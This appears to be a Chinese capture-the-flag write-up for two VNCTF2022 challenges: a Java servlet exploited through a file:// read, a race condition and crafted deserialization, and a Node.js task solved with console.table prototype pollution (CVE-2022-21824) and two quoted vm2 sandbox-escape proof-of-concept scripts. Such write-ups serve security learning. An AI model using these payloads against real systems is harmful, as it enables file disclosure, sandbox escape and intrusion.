eazyjava
file协议读url=file:///usr/local/tomcat/webapps/ROOT/WEB-INF/classes
有用的class
//HelloWorldServlet.class
package servlet;
import entity.User;
import java.io.IOException;
import java.util.Base64;
import java.util.Base64.Decoder;
import javax.servlet.ServletException;
import javax.servlet.ServletOutputStream;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import util.Secr3t;
import util.SerAndDe;
@WebServlet(
name = "HelloServlet",
urlPatterns = {"/evi1"}
)
public class HelloWorldServlet extends HttpServlet {
private volatile String name = "m4n_q1u_666";
private volatile String age = "666";
private volatile String height = "180";
User user;
public HelloWorldServlet() {
}
@Override
public void init() throws ServletException {
this.user = new User(this.name, this.age, this.height);
}
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String reqName = req.getParameter("name");
if (reqName != null) {
this.name = reqName;
}
if (Secr3t.check(this.name)) {
this.Response(resp, "no vnctf2022!");
} else {
if (Secr3t.check(this.name)) {
this.Response(resp, "The Key is " + Secr3t.getKey());
}
}
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String key = req.getParameter("key");
String text = req.getParameter("base64");
if (Secr3t.getKey().equals(key) && text != null) {
Decoder decoder = Base64.getDecoder();
byte[] textByte = decoder.decode(text);
User u = (User)SerAndDe.deserialize(textByte);
if (this.user.equals(u)) {
this.Response(resp, "Deserialize…… Flag is " + Secr3t.getFlag().toString());
}
} else {
this.Response(resp, "KeyError");
}
}
private void Response(HttpServletResponse resp, String outStr) throws IOException {
ServletOutputStream out = resp.getOutputStream();
out.write(outStr.getBytes());
out.flush();
out.close();
}
}
//Secr3t.class
package util;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import org.apache.commons.lang.RandomStringUtils;
public class Secr3t {
private static final String Key = RandomStringUtils.randomAlphanumeric(32);
private static StringBuffer Flag;
private Secr3t() {
}
public static String getKey() {
return Key;
}
public static StringBuffer getFlag() {
Flag = new StringBuffer();
InputStream in = null;
try {
in = Runtime.getRuntime().exec("/readflag").getInputStream();
} catch (IOException var12) {
var12.printStackTrace();
}
BufferedReader read = new BufferedReader(new InputStreamReader(in));
try {
String line = null;
while((line = read.readLine()) != null) {
Flag.append(line + "\n");
}
} catch (IOException var13) {
var13.printStackTrace();
} finally {
try {
in.close();
read.close();
} catch (IOException var11) {
var11.printStackTrace();
System.out.println("Secr3t : io exception!");
}
}
return Flag;
}
public static boolean check(String checkStr) {
return "vnctf2022".equals(checkStr);
}
}
doGet处要求传入的name第一次判断不为vnctf2022而第二次为vnctf2022才能拿到key
利用Servlet的多线程机制写脚本条件竞争即可
Servlet的多线程机制
Servlet实际上是一个单件,当我们第一次请求某个Servlet时,Servlet容器将会根据web.xml配置文件或者是注解实例化这个Servlet类,之后如果又有新的客户端请求该Servlet时,则一般不会再实例化该Servlet类,这说明了什么呢?简单来说,当多个用户一起访问时,得到的其实是同一个Servlet实例,这样的话,他们对实例的成员变量的修改其实会影响到别人,所以在开发的时候如果没有注意这个问题往往会有一些额安全问题,而往往Servlet的线程安全问题主要是由于实例变量使用不当而引起
拿到key之后需要反序列化一个user类,但有一个属性是transient修饰的
需要重写readObject和writeObject方法进行序列化和反序列化 https://blog.csdn.net/weixin_42653621/article/details/82534820
// 强行序列化对象属性的方法
private void writeObject(java.io.ObjectOutputStream s)
throws java.io.IOException{
s.defaultWriteObject();
s.writeObject(this.dept);
}
// 强行反序列化对象属性的方法
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
this.dept = (String)s.readObject();
}
通过实现Serializable接口的,默认是不会序列化transient修饰的属性,除非重写writeObject和readObject两个方法。其实这两个方法就是JVM在执行Serializable接口序列化对象时执行的方法。
如果对象有多个属性都被transient修饰了,例如是empNo和dept,那么在重写writeObject和readObject这两个方法时,一定要注意这两个属性的写入顺序和读取顺序必须保持一直,否则会导致反序列化失败
newcalc0
解法一:
通过console.table()污染(CVE-2022-21824)
console.table([{x:1}], ["__proto__"]);
解法二:
绕过vm污染原型链 https://security.snyk.io/vuln/SNYK-JS-VM2-2309905
也可以看pysnow大佬的复现博客https://blog.csdn.net/not_code_god/article/details/124028028
//PoC 1
// tested on Node.js 16.10.0
const {VM} = require('vm2');
vmInstance = new VM();
console.log(vmInstance.run(`
function foo(ref) {
new Error().stack;
}
let obj = {};
Object.defineProperty(Object.prototype, 0, {
set: function () {
foo(this);
try {
obj[0] = 0;
} catch (e) {
e.__proto__.__proto__.__proto__.polluted = 'success';
}
}
})
`));
console.log(polluted);
//PoC 2
// tested with Node.js 17.1.0 and latest vm2 version
// generated from "/home/cris/work/js-isolation/analysis/Dataset/1V8/regress/regress-672041.js", partially with the support of the generator
const {VM} = require('vm2');
vmInstance = new VM();
vmInstance.run(`
function getRootPrototype(obj) {
while (obj.__proto__) {
obj = obj.__proto__;
}
return obj;
}
function stack(ref, cb) {
let stack = new Error().stack;
stack.match(/checkReferenceRecursive/g);
}
try {
global.temp0 = RegExp.prototype.__defineGetter__('global', () => {
getRootPrototype(this);
stack(this);
return true;
}), function functionInvocationAnalysis(r) {
stack(r);
}(temp0), global.temp0;
RegExp.prototype.exec = function (str) {
stack(arguments);
};
} catch (e) {
getRootPrototype(e).polluted = "success";
}
`);
console.log(polluted);